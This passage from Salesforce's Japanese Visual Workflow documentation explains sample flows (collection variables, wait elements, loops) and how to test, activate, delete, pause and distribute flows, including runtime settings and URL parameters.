種別がログインフローの場合、フローが保存された後は種別を更新できません。

フローのインタビューの表示ラベル。インタビューは、フローの実行中のイン
スタンスです。この表示ラベルは次の場所に表示されます。

インタビュー表示ラベル

• フロー管理ページの [一時停止中および待機中のインタビュー] リスト
• [ホーム] タブの [一時停止中のインタビュー] コンポーネント
• Salesforce1 の [一時停止中のインタビュー] 項目
無効なフローおよびフローバージョンのインタビュー表示ラベルを編集できま
す。デフォルトでは、インタビュー表示ラベルにはフロー名と
{!$Flow.CurrentDateTime} システム変数が含まれます。
表示ラベルの複数のリソースを参照するには、テキストテンプレートを使用し
ます。例: フロー名 - {!Account.Name} - {!$Flow.CurrentDateTime}.

関連トピック:

フローの保存
フローおよびフローバージョン項目
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サンプルフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

内容によっては、説明するよりも実例を示した方がわかりやすい場合がありま
す。次のサンプルフローで、待機要素やコレクション変数などの高度な機能の
使用方法を確認してください。

コレクション変数に入力するサンプルフロー
コレクション変数に入力するには、sObject コレクション変数に入力します。
次に、sObject コレクション変数の値を個別にコレクション変数に割り当てま
す。
イベントを待機するサンプルフロー
イベントを待機するフローを 3 種類のいずれかの方法で設定します。
コレクションをループするサンプルフロー
sObject 変数コレクションとループを使用して、ユーザ間で取引先の所有権を移行します。フローにはすで
に必要なユーザ ID があります。

コレクション変数に入力するサンプルフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コレクション変数に入力するには、sObject コレクション変数に入力します。次
に、sObject コレクション変数の値を個別にコレクション変数に割り当てます。

シナリオ
このシナリオでは、サンフランシスコに住む全従業員にメールを送信するフロー
を設計しています。
メールの送信要素で、フローからメールを簡単に送信できます。ただし、受信
者パラメータではテキスト変数およびテキストコレクション変数のみを使用で
きます。サンフランシスコには多くのユーザが住んでいるため、(各ユーザのメー
ルアドレスを個別に入力するのではなく) コレクション変数を使用します。
コレクション変数への入力には高速検索またはレコード検索は使用できません。
まず、ユーザベースの sObject コレクション変数に、サンフランシスコに住む従業員の [メール] を含む項目値
を入力します。次に、それらのメールをコレクション変数に追加します。
コレクション変数に値が入力されたら、メールの送信要素の [メールアドレス (集合)]パラメータの値として
そのコレクション変数を使用します。

例: このフローにはすでに次のリソースが含まれています。
• employeesInSF というユーザベースの sObject コレクション変数
• loopVariable というユーザベースの sObject 変数
• emails_employeesInSF というテキストベースのコレクション変数
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サンプルフロー
1. [市区郡] が「サンフランシスコ」のすべてのユーザレコードを検索して、employeesInSF にこれら

のレコードの [メール] を入力します。
employeesInSF は sObject コレクション変数のため、高速検索要素を使用して変数を入力します。

2. sObject コレクション変数をループすると、個々のユーザレコードを確認できます。ループ時に、
employeesInSF の各項目の値が loopVariable にコピーされます。

3. 反復ごとに、ユーザの [メール] がテキストデータ型のコレクション変数に割り当てられます。
4. ループが終了した時点で、フローはメールが emails_employeesInSF に保存されているユーザに

メールを送信します。

関連トピック:

フローのコレクション変数リソース
コレクション変数への値の追加

イベントを待機するサンプルフロー
イベントを待機するフローを 3 種類のいずれかの方法で設定します。

多数のイベントを待機するサンプルフロー
このフローは、最初のイベントだけでなく、多数のイベントを待機します。これらのイベントは基準時刻
が項目値のため、この例では相対時間のアラームを使用します。
最初のイベントのみを待機するサンプルフロー
このフローは、複数のイベントの最初のイベントの発生を待機してから次に進みます。これらのイベント
は基準時刻が項目値のため、この例では相対時間のアラームを使用します。
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1 つのイベントを待機するサンプルフロー
このフローは、1 つのイベントを待機します。この例のイベントは絶対アラームイベントで、基準時刻は
{!$Flow.CurrentDateTime} システム変数です。

関連トピック:

フローの待機要素

多数のイベントを待機するサンプルフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

このフローは、最初のイベントだけでなく、多数のイベントを待機します。こ
れらのイベントは基準時刻が項目値のため、この例では相対時間のアラームを
使用します。
契約が終了する前に顧客をフォローアップするよう契約所有者に伝えるフロー
を設計しています。リマインダーは、一度だけでなく、フローで定期的に送信
します。この例では、1 つの待機要素を使用して、契約が終了する 2 週間前にリ
マインダーを送信し、1 週間前にもう一度送信する方法を示します。このフロー
は簡単に拡張でき、リマインダーを送信する間隔 (3 日ごとや契約が終了する 1

日前など) を増やすことができます。

例
このフローには、すでに次の入力済みの変数が含まれています。
• {!contract}: 契約の Id および OwnerId を含む sObject 変数です。
• {!oneWeekVisited}: boolean 変数で、デフォルト値は {!$GlobalConstant.False} です。
• {!twoWeeksVisited}: boolean 変数で、デフォルト値は {!$GlobalConstant.False} です。
フローは、待機要素を実行する前に、契約の Id と OwnerId を検索して保存します。

このフローは契約終了日の 2 週間前と 1 週間前の両方にメールのリマインダーを送信するため、待機要素に 2

つの相対アラームイベントが定義されます。
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ヒント: どのアラームイベントも基準時刻とオフセットで構成されます。相対時間のアラームの場合は、
フローが基本時刻を判断するために、オブジェクト、日付/時間項目、特定のレコードの 3 つの情報が必
要です。相対時間のアラームの場合も、オフセットは絶対時間のアラームと同じように機能します。フ
ローが、単位 (日または時間のいずれか) とこれらの単位の時間数を識別する必要があります。基準時刻の
数日前または数時間前まで待機する場合は、[オフセット数] に負の整数を設定します。
上記のイベントは両方ともオフセットの単位に週を使用できないため、日単位で宣言します。

最初のイベント (「2 週間」) の基準時刻は、{!contract.Id} (2) に ID が保存されているレコードの
Contract.EndDate (1) の値です。この値から -14 日 (3) をオフセットして 2 週間を表します。

すべてのリマインダーに同じ待機要素を使用する場合は、フローインタビューが 1 つのメールのリマインダー
を送信した後に待機要素に戻ります。ただし、インタビューが同じメールを何度も送信しないように、最初に
待機条件を設定しておきます。インタビューは待機要素を実行するときに、まず各イベントの待機条件をチェッ
クして、そのイベントを待機するかどうかを判断します。イベントに待機条件が設定され、その条件を満たし
ていない場合は、インタビューがイベントを待機しません。
最初のイベントについては、インタビューが boolean 変数 {!twoWeekVisited} が false に設定されているかど
うかをチェックします。この変数はデフォルト値が {!$GlobalConstant.False} に設定されているため、
この値が変更されるまでフローがイベントを待機します。

「2 週間」イベントが発生したときにフローが何を行うかを示すために、待機要素を他の要素に結び付けま
す。続いて、フローパスを待機要素に戻す前に、{!twoWeeksVisited}の値を {!$GlobalConstant.True}

に変更します。この変更には割り当て要素を使用できます。待機要素の実行時に {!twoWeeksVisited}の値
が false でない場合、フローは「2 週間」イベントの発生を待機しません。基本的に、この変数は最初のイベン
トのパスでしか true に変更されていないため、インタビューはこのイベントが発生しているかどうかをチェッ
クします。このイベントが発生している場合 (および変数が false に設定されていない場合) は、インタビューが
このイベントを待機しないことを認識します。
2 つ目のイベント (「1 週間」) も基本時刻は最初のイベントと同じです (4)。オフセットは、1 週間を表す -7 日
です (5)。
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2 つ目のイベントについては、boolean 変数 {!oneWeekVisited} が false に設定されているかどうかをフロー
がチェックします。false に設定されていない場合、フローはこのイベントを待機しません。

最初のイベントと同様に、フローパスを待機要素に戻す前に、割り当て要素を使用して、{!oneWeekVisited}

の値を {!$GlobalConstant.True} に変更します。{!oneWeekVisited} が false でない限り、フローは「1

週間」イベントの発生を待機しません。

ヒント: フローが待機要素を実行し、すべてのイベントに満たされていない待機条件がある場合、フロー
はデフォルトのイベントパスを実行します。最後のリマインダーを送信した後にこのフローは終了する
ため、デフォルトパスを別の要素につなげることはありません。

何らかの問題が発生した場合に備えて、障害パスを設定します。この例では、障害パスが、故障メッセージを
表示するメールをフローを作成したユーザに送信します。

最初のイベントのみを待機するサンプルフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

このフローは、複数のイベントの最初のイベントの発生を待機してから次に進
みます。これらのイベントは基準時刻が項目値のため、この例では相対時間の
アラームを使用します。
取引先の更新と契約の終了のいずれかの 1 週間前に顧客をフォローアップする
よう取引先所有者に伝えるフローを設計しています。このフローは、いずれか
最初に発生する日付にメールのリマインダーを送信します。

例
このフローには、すでに次の入力済みの変数が含まれています。
• {!accountId} には、取引先の ID が指定されます。
• {!contractId} には、契約の ID が指定されます。
• {!accountOwner} には、取引先の所有者の ID が指定されます。
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• {!ownerEmail} には、取引先の所有者のメールアドレスが指定されます。
フローは、待機要素を実行する前に、契約の ID、親取引先の ID と OwnerId、取引先所有者の [メール] を
検索して保存します。

待機要素に 2 つの相対アラームイベントを定義します。

ヒント: どのアラームイベントも基準時刻とオフセットで構成されます。相対時間のアラームの場合は、
フローが基本時刻を判断するために、オブジェクト、日付/時間項目、特定のレコードの 3 つの情報が必
要です。相対時間のアラームの場合も、オフセットは絶対時間のアラームと同じように機能します。フ
ローが、単位 (日または時間のいずれか) とこれらの単位の時間数を識別する必要があります。上記のいず
れのイベントも、オフセットの単位に週を使用できないため、基本時刻から -7 日をオフセットします。

最初のイベント (「取引先の更新の 1 週前」) の基準時刻は、{!accountId} (2) に ID が保存されているレコー
ドの Account.Renewal_Date__c (1) の値です。この値から -7 日 (3) がオフセットされます。

2 つ目のイベント (「契約の終了の 1 週前」) の基準時刻は、{!contractId} (5) に ID が保存されているレコー
ドの Contract.EndDate (4) の値です。この値から -7 日 (6) がオフセットされます。
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フォローアップのリマインダーは 1 回送信するだけで、フローは常に両方のイベントを待機するため、これら
のいずれのイベントも待機条件は必要ありません。ただし、何らかの問題が発生した場合に備えて、障害パス
を設定します。この例では、障害パスが、故障メッセージを表示するメールをフローを作成したユーザに送信
します。

関連トピック:

フローの待機要素
相対時間のアラーム
フローの待機要素
相対時間のアラーム
待機条件とは?

1 つのイベントを待機するサンプルフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

このフローは、1 つのイベントを待機します。この例のイベントは絶対アラーム
イベントで、基準時刻は {!$Flow.CurrentDateTime} システム変数です。
契約が有効になってから 1 日経過した後に顧客にメールでフィードバックを依
頼するフローを設計しています。

例
このフローには、すでに次の入力済みの変数が含まれています。
• {!customerEmail} には、顧客のメールアドレスが指定されます。
• {!creatorEmail} には、フローの作成者のメールアドレスが指定されま

す。
フローが契約を有効にしてから (1) 待機します (2)。

待機要素内で、1 つのイベントを定義します (有効化の 1 日後)。このフローは契約が有効になった 1 日後にフィー
ドバックの依頼を送信するため、絶対時間のアラームを使用します。基本時刻に {!$Flow.CurrentDateTime}

システム変数 (3)、オフセットに 1 日 (4) を設定します。
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イベントが 1 つのみで、フィードバックの依頼は 1 回のみ送信するため、このイベントに待機条件を設定する
ことはありません。ただし、何らかの問題が発生した場合に備えて、障害パスを忘れずに設定します。この例
では、障害パスが、故障メッセージを表示するメールをフローを作成したユーザに送信します。

関連トピック:

フローの待機要素
絶対時間のアラーム

コレクションをループするサンプルフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

sObject 変数コレクションとループを使用して、ユーザ間で取引先の所有権を移
行します。フローにはすでに必要なユーザ ID があります。
まず、collAcctJSmithという取引先ベースの sObject コレクション変数を作成
し、John Smith が所有するすべての取引先レコードを入力します。
次に、コレクションを反復処理するループを作成します。ループでは、コレク
ションの項目ごとに次の処理を実行します。
1. コレクション項目をループ変数に割り当てる。
2. 取引先の従業員数が 10,000 名を超えているかどうかを評価する。
3. 取引先の従業員数が 10,000 名を超えている場合、Madison のユーザ ID をループ

変数の OwnerId 項目に割り当てる。
4. 取引先の従業員数が 10,000 名を超えていない場合、Amber のユーザ ID をループ変数の OwnerId 項目に割り

当てる。
5. collReassignedAccts という 2 番目のコレクションの新しい項目としてループ変数の値を追加する。
最後に、ループでコレクションの反復処理が終了したら、高速更新要素を作成して collReassignedAccts

の取引先を新しい OwnerId で更新します。
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フローのこのセクションでは、1 つのクエリを使用して取引先のリストを検索し、1 つの DML ステートメント
を使用してこれらの取引先を更新します。レコード更新要素を使用して同じようなフローを作成する場合、次
の操作を実行します。
• 1 つのレコード更新要素を使用して、10,000 名を超える従業員がいる John 所有のすべての取引先を検索しま

す (1 つのクエリ)。次に、これらのレコードの OwnerId を Madison の ID に更新します (1 つの DML ステート
メント)。

• 1 つのレコード更新要素を使用して、10,000 名を超える従業員がいない John 所有のすべての取引先を検索し
ます (1 つのクエリ)。次に、これらのレコードの OwnerId を Amber の ID に更新します (1 つの DML ステート
メント)。

フローの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの詳細ページを使用して、フローの有効化、フローのテスト、フローの
プロパティの表示など、フローに関する設計以外の操作を行います。
フローの詳細ページにアクセスするには、[設定] から、[クイック検索] ボック
スに「フロー」と入力して、[フロー] を選択し、フロー名をクリックします。

フローおよびフローバージョン項目
フローの詳細ページでフローの名前や URL など、フローとそのバージョンに
関する情報を参照します。
フローを開いて変更する方法
フローを変更するには、Cloud Flow Designer でフローを開きます。
フローのテスト
有効化する前にフローをテストして、期待どおりに機能することを確認します。
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フローのバージョンの有効化または無効化
Salesforce では単一のフローのさまざまなバージョンを含むことができます。ただし、一度に有効化できる
フローは各フローにつき 1 つのバージョンのみです。フローのバージョンを有効化または無効化するには、
[設定] のフローの詳細ページに移動します。
一時停止中または待機中のフローインタビューの削除
時間のかかるフローインタビューの終了や、一時停止中のインタビューのユーザによる再開を待機する必
要がなくなった場合は、インタビューを削除します。たとえば、関連付けられたフローバージョンを更新
または削除している場合に削除します。
フローバージョンの削除
有効なフローバージョンを削除するには、まず無効化する必要があります。フローに一時停止中または待
機中のインタビューがある場合は、これらのインタビューが終了または削除されるまで削除できません。
有効化されたことのないフローは、すぐに削除できます。
フローの一時停止をユーザに許可
ユーザが、組織のプロセスの自動化設定をカスタマイズして、まだ終了できないフローインタビューを一
時停止できるようにします。フローインタビューは、フローの実行中のインスタンスです。たとえば、カ
スタマーサービス担当者は、顧客が必要なすべての情報を揃えていない場合にフローインタビューを一時
停止できます。

関連トピック:

Visual Workflow

Visual Workflow の制限
フローの管理の考慮事項

フローおよびフローバージョン項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの詳細ページでフローの名前や URL など、フローとそのバージョンに関
する情報を参照します。

説明プロパティ

有効なバージョンを示します。有効バージョ
ン

フローまたはフローバージョンの説明。説明

フローの名前。ランタイムユーザインターフェースに表示され
ます。

フロー名

フローバージョンの名前。このバージョンが有効になると [フ
ロー名] になります。

名前

フローの名前空間プレフィックス (フローが管理パッケージか
らインストールされた場合)。Cloud Flow Designerは管理パッケー
ジからインストールされたフローを開くことができません。

名前空間プレ
フィックス
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説明プロパティ

フローまたはフローバージョンでサポートされる要素とリソース、およびフローの配布
方法を決定します。詳細は、「フロー種別」 (ページ 5826)を参照してください。

種別

フローバージョンが有効かどうかを示します。状況

Visualforce ページなど Salesforce の他の部分からフローを参照できるようになります。一意の名前

カスタムボタンや Web タブなどからフローを実行するために使用する相対 URL。URL

フローバージョンの番号。バージョン

関連トピック:

フローの管理
フロープロパティ

フローを開いて変更する方法

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く
• 「Force.com Flow の管

理」

フローを変更するには、Cloud Flow Designer でフローを開きます。
フローの有効なバージョンの変更を保存することはできません。ただし、フロー
の有効なバージョンを開いて変更し、新しいバージョンまたは新しいフローと
して保存することはできます。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー] を選

択します。
2. フローの名前をクリックします。
3. フローを開きます。

• 特定のバージョンを開くには、そのバージョン番号の横にある [開く] リ
ンクをクリックします。

• フローの有効なバージョンを開くには、[開く]ボタンをクリックします。
有効なバージョンがない場合は、最新バージョンが開きます。

関連トピック:

フロー設計の考慮事項
フローの管理
フローのバージョンの有効化または無効化
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フローのテスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フローの詳細ページから
有効なフローまたは無効
なフローを実行にする

Cloud Flow Designer からフ
ローを実行する
• 「Force.com Flow の管

理」

有効化する前にフローをテストして、期待どおりに機能することを確認します。

警告: 削除要素が含まれるフローをテストする場合は注意が必要です。無
効なフローでも、削除操作がトリガされます。

フローを有効化する前にエラーを検出して修正できるように、フロー経由の考
えられるすべてのパスをテストすることをお勧めします。たとえば、フローに
含まれるデータが不完全な場合、実行時にデータ要素 (作成、更新、検索、削除)

が失敗することがあります。データを修正するパスに障害コネクタを追加し、
フローが正常に終了できるようにします。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー] を選

択します。
2. 実行するフローの名前をクリックします。
3. フローを実行します。

• 特定のバージョンを実行するには、そのバージョンの [実行] リンクをク
リックします。

• フローの有効なバージョンを実行するには、[実行]ボタンをクリックしま
す。有効なバージョンがない場合は、最新バージョンが実行されます。

• Cloud Flow Designerからフローバージョンを実行するには、そのバージョン
を開き、ボタンバーから [実行] をクリックします。

ヒント: テストしているフローを最近変更した場合は、そのフローを
保存します。フローの実行時には最後に保存された変更のみが含ま
れます。

フローが期待どおりに機能することを確信できたら、テストしたバージョンを有効化して、フローを配布しま
す。

関連トピック:

フローのバージョンの有効化または無効化
フローが失敗した場合の処理のカスタマイズ
フローの実行の考慮事項
フローの管理
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フローのバージョンの有効化または無効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フローを有効化または無
効化する
• 「Force.com Flow の管

理」

Salesforce では単一のフローのさまざまなバージョンを含むことができます。た
だし、一度に有効化できるフローは各フローにつき 1 つのバージョンのみです。
フローのバージョンを有効化または無効化するには、[設定] のフローの詳細ペー
ジに移動します。
フローの新バージョンを有効化すると、以前に有効化されたバージョン (存在す
る場合) は自動的に無効になります。実行中のフローインタビューは、起動され
たときのバージョンを使用して実行を続行します。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー] を選

択します。
2. フローの名前をクリックします。
3. フローの関連するバージョンの横にある [有効化]または [無効化]をクリック

します。

関連トピック:

フローの管理の考慮事項
フローの管理

一時停止中または待機中のフローインタビューの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

時間のかかるフローインタビューの終了や、一時停止中のインタビューのユー
ザによる再開を待機する必要がなくなった場合は、インタビューを削除します。
たとえば、関連付けられたフローバージョンを更新または削除している場合に
削除します。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー] を選

択します。
いずれかのフローに待機中のインタビューがある場合は、フローのリストの
下に [一時停止中および待機中のインタビュー] 関連リストが表示されます。

2. 削除する各インタビューの [削除] をクリックします。
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フローバージョンの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フローを削除する
• 「Force.com Flow の管

理」

有効なフローバージョンを削除するには、まず無効化する必要があります。フ
ローに一時停止中または待機中のインタビューがある場合は、これらのインタ
ビューが終了または削除されるまで削除できません。有効化されたことのない
フローは、すぐに削除できます。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー] を選

択します。
2. フローの名前をクリックします。
3. フローを完全に削除するには、すべてのバージョンを含めて [削除]ボタンを

クリックします。
4. 個々のバージョンを削除するには、そのバージョンの [削除]リンクをクリッ

クします。

関連トピック:

フローの管理の考慮事項
フローの管理

フローの一時停止をユーザに許可

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスの自動化設定を
編集する
• 「アプリケーションの

カスタマイズ」

ユーザが、組織のプロセスの自動化設定をカスタマイズして、まだ終了できな
いフローインタビューを一時停止できるようにします。フローインタビューは、
フローの実行中のインスタンスです。たとえば、カスタマーサービス担当者は、
顧客が必要なすべての情報を揃えていない場合にフローインタビューを一時停
止できます。
1. [設定] から、[クイック検索]ボックスに「プロセスの自動化設定」と入力し、

[プロセスの自動化設定] を選択します。
2. [フローの一時停止をユーザに許可] を選択します。
3. [保存] をクリックします。
[フローの一時停止をユーザに許可]を有効にすると、[一時停止] ボタンは画面に
自動的に表示されません。特定の画面でユーザが一時停止できるようにするに
は、その画面を設定するときに [[一時停止] ボタンを表示] を選択します。

関連トピック:

フローの画面要素: 一般情報
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フローの配布

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローバージョンを作成して有効化したら、ユーザに配布して実行できるよう
にします。適切な配布方法は、フローの配布先となるユーザ (内部ユーザ、外部
ユーザ、システム、またはその他の組織) によって異なります。

ヒント: ユーザは、Lightning Experienceから一時停止したフローを再開できな
いため、Lightning Experience で配布されるフローから [一時停止] ボタンを削
除することをお勧めします。

次に、配布先のユーザ種別に基づいた、フローの配布方法を示します。
内部ユーザ

• 直接的、あるいはカスタムボタン、リンク、または Web タブを使用して、
フロー URL を配布する。

• Lightning ページにフローを埋め込む (ベータ)。
• Visualforce ページにフローを埋め込み、カスタムボタン、リンク、または Visualforce タブを使用して、そ

のページを Salesforce に組み込む。
外部ユーザ

フローをVisualforceページに埋め込み、そのページをForce.comサイト、カスタマーポータル、またはパート
ナーポータルに組み込む。

システム
次の方法でフローを自動的に開始する。
• Apex start() メソッドを使用
• Force.com REST API で Invocable Action リソースを使用
• プロセスビルダーでプロセスにフローアクションを追加

その他の組織
変更セットまたはパッケージを使用してフローをリリースする。

これらの各方法によるフローの配布についての詳細は、『Visual Workflow Guide』の「Distribute Your Flow」を参照
してください。

フローランタイム環境
フローの配布方法に応じて、ユーザには、フローの実行時に Classic ランタイムか Lightning ランタイムの UI

が表示されます。名前からわかるように、Lightning ランタイムの外観や動作は Lightning Experience に類似し
ています。
組織の URL ベースのフロー用ランタイム環境の選択
URL によってフローを配布していますか。これには、直接 URL とカスタムボタン、および [設定] のリンクな
どが含まれます。単一のスイッチを切り替えて、それらすべてのフローを Lightning ランタイムにアップグ
レードできます。
フロー URL からの 2 列画面の表示
URL を使用してフローを配布する場合、画面を 1 列で表示するか、2 列で表示するかを制御できます。2 列
画面は、Lightning ランタイムが有効になっている組織でのみサポートされます。
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フロー URL を使用したフロー変数の設定
URL を使用してフローを配布する場合、URL のパラメータを使用してそのフロー内の変数を設定できます。
フロー URL を使用したフローの完了動作の設定
デフォルトでは、画面を使用するフローインタビューが完了すると、そのフローの新しいインタビューが
開始し、ユーザは最初の画面にリダイレクトされます。ユーザが [完了] をクリックしたら Salesforce 内の別
のページにリダイレクトされるように設定するには、フロー URL に retURL パラメータを使用します。
変更セットとパッケージのフロー
Cloud Flow Designerで作成されたフローは、変更セットおよびパッケージに含めることができます。変更セッ
トまたはパッケージのいずれかの受け取り側の組織で、Visual Workflowが有効化されている必要があります。

関連トピック:

フロー URL を使用したフロー変数の設定
Visualforce 開発者ガイド: Visualforce でのフローの表示
Force.com Site Visualforce ページの管理
Web タブの作成

フローランタイム環境

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの配布方法に応じて、ユーザには、フローの実行時に Classic ランタイム
か Lightning ランタイムの UI が表示されます。名前からわかるように、Lightning

ランタイムの外観や動作は Lightning Experience に類似しています。
次のスクリーンショットは、同じフローを Classic ランタイムで表示したもの (左)

と Lightning ランタイムで表示したもの (右) です。
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ユーザに表示されるランタイム環境
Visualforce ページから実行するフローでは、常に Classic ランタイムが使用されます。Lightning ページから実行す
るフローでは、常に Lightning ランタイムが使用されます。その他すべての方法は、Lightning ランタイムを組織
のプロセスの自動化設定で有効にしているかどうかによって決まります。
次の表に、フローを配布する方法に基づいて、どちらのランタイム環境がユーザに表示されるかがまとめられ
ています。

Lightning Runtime for Flows の状態フロー配布方法

オン選択されていない

Classic ランタイムClassic ランタイムVisualforce ページ

Lightning ランタイムClassic ランタイムカスタムボタン

Lightning ランタイムClassic ランタイムカスタムリンク

Lightning ランタイムClassic ランタイムWeb タブ

Lightning ランタイムClassic ランタイム直接リンク

Lightning ランタイムLightning ランタイムLightning ページ

ランタイム環境の動作の違い
ほとんどの場合、2 つのランタイム環境の違いはデザインのみです。ただし、Lightningランタイムでは、フロー
外の次の型の変数に値を渡すことがサポートされません。
• 選択リスト変数
• 複数選択リスト変数
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• sObject 変数
• 任意のデータ型のコレクション変数

関連トピック:

組織の URL ベースのフロー用ランタイム環境の選択
フローの実行の考慮事項

組織の URL ベースのフロー用ランタイム環境の選択

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスの自動化設定を
編集する
• 「アプリケーションの

カスタマイズ」

URL によってフローを配布していますか。これには、直接 URL とカスタムボタ
ン、および [設定] のリンクなどが含まれます。単一のスイッチを切り替えて、
それらすべてのフローを Lightning ランタイムにアップグレードできます。
フローユーザ用のランタイム環境は 2 種類あります。Classic ランタイムは標準的
な Visualforce ページのように表示されます。Lightning ランタイムは、Lightning

Experience に適しています。2 つのランタイム環境の違いを確認するには、「フ
ローランタイム環境」を参照してください。
すべての URL ベースのフローをLightningランタイムで表示する手順は、次のとお
りです。
1. [設定] から、[クイック検索]ボックスに「プロセスの自動化設定」と入力し、

[プロセスの自動化設定] を選択します。
2. [Enable Lightning Runtime for Flows] を選択します。
3. 変更内容を保存します。
この設定では、フローを 1 つの列に表示するか、2 つの列に表示するか、および
フローを URL で配布するか、Lightning ページで配布するかを制御することもでき
ます。
有効にすると、フローを次のものから実行したとき、フローでは Lightning ランタイムが使用されます。
• 直接リンク
• カスタムボタンまたはカスタムリンク
• Cloud Flow Designer の [実行] ボタン
• フローリストページの [実行] リンク
• フロー詳細ページの [実行] ボタン

関連トピック:

フローランタイム環境
フロー URL からの 2 列画面の表示
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フロー URL からの 2 列画面の表示

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

URL を使用してフローを配布する場合、画面を 1 列で表示するか、2 列で表示す
るかを制御できます。2 列画面は、Lightning ランタイムが有効になっている組織
でのみサポートされます。

前提条件
Lightning ランタイムを有効にして、フローが指定レイアウトに従うようにしま
す。
1. [設定] から [プロセスの自動化設定] に移動します。
2. [フローに対して Lightning ランタイムを有効化] を選択します。

形式
フローの画面を 2 列で表示する方法
/flow/flowName?flowLayout=twoColumn

例
次の例では、「ケース管理」フローが 2 列で表示されます。
/flow/Case_Management?flowLayout=twoColumn

次の例では、「ユーザ情報」フローが 2 列で表示され、varUserFirst および varUserLast 変数 (どちらもテキスト型)

が実行ユーザの FirstName および LastName 項目値に設定されます。
/flow/User_Info?varUserFirst={!$User.FirstName}&varUserLast={!$User.LastName}&flowLayout=twoColumn

関連トピック:

組織の URL ベースのフロー用ランタイム環境の選択
2 列フローの考慮事項
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フロー URL を使用したフロー変数の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フローの詳細ページを表
示する
• 「設定・定義を参照す

る」

カスタムボタン、リン
ク、および Web タブを作
成、編集する
• 「アプリケーションの

カスタマイズ」

URL を使用してフローを配布する場合、URL のパラメータを使用してそのフロー
内の変数を設定できます。
URL パラメータを使用して、sObject 変数および sObject コレクション変数の値を設
定することはできません。フローで Lightning ランタイムを使用する場合は、ど
のようなデータ型の選択リスト変数、複数選択リスト変数、コレクション変数
の値も設定できません。変数では、入力アクセスを許可するように [入力/出力
種別] を設定する必要があります。
次の手順では、組織で相対 URL を使用して、ユーザをフローに移動しているこ
とが想定されています。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー] を選

択します。
2. フローの名前をクリックします。
3. フローの URL をコピーします。
4. フロー URL の最後に、?name=value を付加します。この name はフローに

設定する変数またはコレクション変数の一意の名前で、valueは設定する値
です。複数の変数値を設定する場合は、フロー URL の最後に
?name1=value1&name2=value2を付加します。同じコレクション変数の複
数の項目の値を設定する場合は、?name=value1&name=value2を付加しま
す。
次に例を示します。

/flow/MyFlow?varNumber=100&varString=Hello

次に、フロー変数およびコレクション変数のデータ型ごとに有効な値を示します。

有効な値変数の
データ型

日付型または YYYY-MM-DD の差し込み項目Date

日付/時間型または YYYY-MM-DDThh:mm:ssZ の差し込み項目DateTime

任意のデータ型または文字列の差し込み項目Text

数値型または数値の差し込み項目Number

数値型または数値の差し込み項目Currency

Boolean • チェックボックス型の差し込み項目
• True 値: true または 1

• False 値: false または 0
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メモ: フローを配布するとき、URL パラメータを使用して Salesforce レコードから通貨項目値を currency

型のフロー変数に渡さないでください。通貨項目が差し込み項目 ({!Account.AnnualRevenue} な
ど) を介して参照される場合、値には通貨単位の記号 ($ など) が含まれます。currency 型のフロー変数で
